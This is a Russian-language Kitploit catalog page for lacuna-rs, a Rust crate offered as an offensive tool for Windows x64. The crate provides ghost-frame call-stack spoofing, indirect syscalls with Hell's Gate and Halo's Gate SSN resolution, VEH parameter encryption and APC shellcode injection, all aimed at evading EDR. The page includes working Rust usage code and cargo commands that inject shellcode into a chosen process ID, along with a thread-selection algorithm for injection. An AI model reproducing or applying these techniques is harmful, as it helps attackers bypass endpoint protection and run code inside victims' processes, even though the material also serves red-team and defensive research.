Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
lacuna-rs — Rust крейт для спуфинга стека вызовов ghost-frame, runtime indirect syscalls и APC injection на Windows x64. Предоставляет разрешение SSN, эмиссию JIT-заглушек и шифрование параметров на основе VEH для обхода EDR. | Kitploit
Инструменты/GitHubGitHub/karkas66/lacuna-rs
Шелл-кодПост-эксплуатацияRed TeamingРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubkarkas66/lacuna-rs

lacuna-rs

Rust крейт для спуфинга стека вызовов ghost-frame, runtime indirect syscalls и APC injection на Windows x64. Предоставляет разрешение SSN, эмиссию JIT-заглушек и шифрование параметров на основе VEH для обхода EDR.

Репозиторий
181633 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

lacuna-rs

Спуфинг стекового кадра-призрака + косвенные системные вызовы во время выполнения для Windows x64 — портировано на Rust.

Портировано из LACUNA Chain (lacuna_chain.c) Мохамеда Альзхрани (0xmaz).

lacuna-rs — это переиспользуемый Rust-крейт, предоставляющий те же примитивы, что и оригинальная TTP на C, структурированный так, чтобы его можно было встроить в любой Rust-проект — как wsyscall-rs или syscalls-rs, но с разрешением SSN во время выполнения, нацеливанием на syscall;ret для каждой функции и спуфингом стекового кадра-призрака.


Критическое требование: указатель кадра

Функция stack-spoof будет молчаливо терпеть неудачу, если потребляющий крейт не скомпилирован с указателями кадров.

Примитивы затирания стека в chain.rs находят слот адреса возврата вызывающей функции через встроенный ассемблер mov rbp, {x}. Это требует, чтобы цепочка RBP была нетронутой. Rust (и большинство компиляторов в режиме релиза) по умолчанию опускают указатели кадров.

build.rs устанавливает force-frame-pointers=yes для собственной кодогенерации этого крейта, но Cargo не может распространять флаги компилятора на нижестоящие крейты. Вы должны добавить это в свой собственный проект:

# .cargo/config.toml  (в ВАШЕМ крейте, не в lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

Без этого stomp_plant() прочитает мусор из RBP и либо ничего не сделает (лучший случай), либо повредит стек (худший случай). У крейта нет возможности определить во время выполнения, включены ли указатели кадров — он просто не будет работать.

Если вам нужны только примитивы сканирования, разрешения SSN или внедрения (без спуфинга стека), вы можете опустить функцию stack-spoof, и это требование не применяется.


Что он делает

ПримитивC-функцияМодуль Rust
Парсинг PE-секций и экспортаpe_section(), pe_export()pe
Сканирование областей-призраков .pdatascan_ghosts(), best_ghost()scan
Обнаружение гаджетов-призраков (jmp [rbx])scan_ghost_gadgets()scan
Поиск NOP-пробелов в win32uwin32u_nop_gap()scan
Поиск якоря BYOUD-MFfind_mf_target()scan
Разрешение SSN (Hell's Gate / Halo's Gate)resolve_ssn()nt
Локатор syscall;ret для каждой функцииfind_func_syscall()nt
JIT-эмиссия заглушки косвенного системного вызоваalloc_stub()stub
Перенаправление заглушки через гаджет-призрак(в alloc_stub())stub
VEH + шифрование параметров аппаратной точкой остановаparam_encrypt_veh(), pcrypt_arm()veh
VEH-защита цепочкиchain_veh()veh
Построение цепочки LACUNAbuild_chain()chain
Затирание стека (BYOUD-RT)stomp_plant(), stomp_restore()chain
Обходчик цепочки (проверка)lacuna_walk_chain()chain
Внедрение APC на основе секцийdo_inject_sapc()inject

Флаги функций

[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
ФункцияОписаниеТребует указатели кадров?
syscalls (по умолчанию)Разрешение SSN + JIT-эмиссия заглушекНет
inject (по умолчанию)Внедрение APC на основе секций (inject::inject_sapc)Нет
vehVEH + шифрование параметров аппаратной точкой остановаНет
stack-spoofЦепочка кадров-призраков LACUNA + затирание стекаДа
no-stdРежим no_std (экспериментально)Нет

Если ни одна функция не включена, доступны только уровни сканирования/PE/NT.


Быстрый старт

Сканирование областей-призраков

cargo run --example scan

Построение + проверка цепочки кадров-призраков

cargo run --example verify --features stack-spoof

Внедрение шеллкода через секцию + APC

Доказательство внедрения Пример внедрения с реальной нагрузкой — C2 был офлайн, но шеллкод выполнился

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>

Добавьте --verbose для включения диагностического вывода VEH (дампы стека, печать регистров):

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose

Алгоритм оценки потоков

Вместо постановки APC в очередь каждому потоку целевого процесса (что может привести к сбою, когда слишком много потоков одновременно оповещаются), inject_sapc использует алгоритм оценки для выбора лучших MAX_APC_THREADS (5) кандидатов:

  • Время цикла — NtQueryInformationThread(ThreadCycleTime) — основной индикатор активности
  • Время ЦП — NtQueryInformationThread(ThreadTimes) — время ядра + пользователя
  • Счетчик приостановок — NtQueryInformationThread(ThreadSuspendCount) — неприостановленные потоки получают +300 бонуса; приостановленные получают -150 за каждую приостановку
  • Приоритет — NtQueryInformationThread(ThreadBasicInformation) — потоки с приоритетом 8-10 получают +150 бонуса; приоритеты вне диапазона получают -100 штрафа

Полностью бездействующие потоки (нулевые циклы и нулевое время ЦП) полностью пропускаются. Оставшиеся кандидаты сортируются по баллам (наивысший первый, при равенстве по циклам) и усекаются до 5 верхних.


Использование в качестве библиотеки

Базовое: сканирование + разрешение SSN

use lacuna::{scan, nt, win::get_module};

let ntdll = get_module(b"ntdll.dll\0");

// Сканирование областей-призраков
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} ghost regions in ntdll", n);

// Разрешение SSN + syscall;ret для конкретной функции
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);

Эмиссия заглушки косвенного системного вызова для любого NT API

use lacuna::{nt, stub, win::{get_module, HMODULE}};

let ntdll: HMODULE = get_module(b"ntdll.dll\0");

// Разрешение SSN + адреса собственного syscall;ret функции
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);

// JIT-эмиссия заглушки: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (или jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret, если была вызвана build_chain)
let stub = stub::make_stub(ssn, syscall_ret).expect("не удалось выделить заглушку");

// Приведение к соответствующему типу указателя на функцию и вызов
let alloc_vm: unsafe extern "system" fn(
    win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };

Построение цепочки кадров-призраков + регистрация VEH

// Сканирование ntdll/kernelbase/wow64/win32u на предмет областей-призраков и построение
// шестиуровневого поддельного стека вызовов. Устанавливает G_GHOST_GADGET, чтобы заглушки
// маршрутизировались через JMP [RBX] в подписанной DLL.
lacuna::chain::build_chain();

// Регистрация обработчиков VEH (шифрование параметров + защита цепочки)
let _veh = lacuna::veh::VehGuard::register().expect("Не удалось зарегистрировать VEH");

// Опционально: включение подробной диагностики во время выполнения
lacuna::veh::set_verbose(true);

Обёртывание чувствительного системного вызова со спуфингом стека + шифрованием параметров

use lacuna::win::HANDLE;
use core::ptr;

let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;

// Размещение кадров-призраков (замена адресов возврата на призраки из подписанных DLL)
lacuna::chain::stomp_plant();

// Установка DR0 на syscall;ret — VEH будет XOR-расшифровывать параметры на границе
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
Скачать инструмент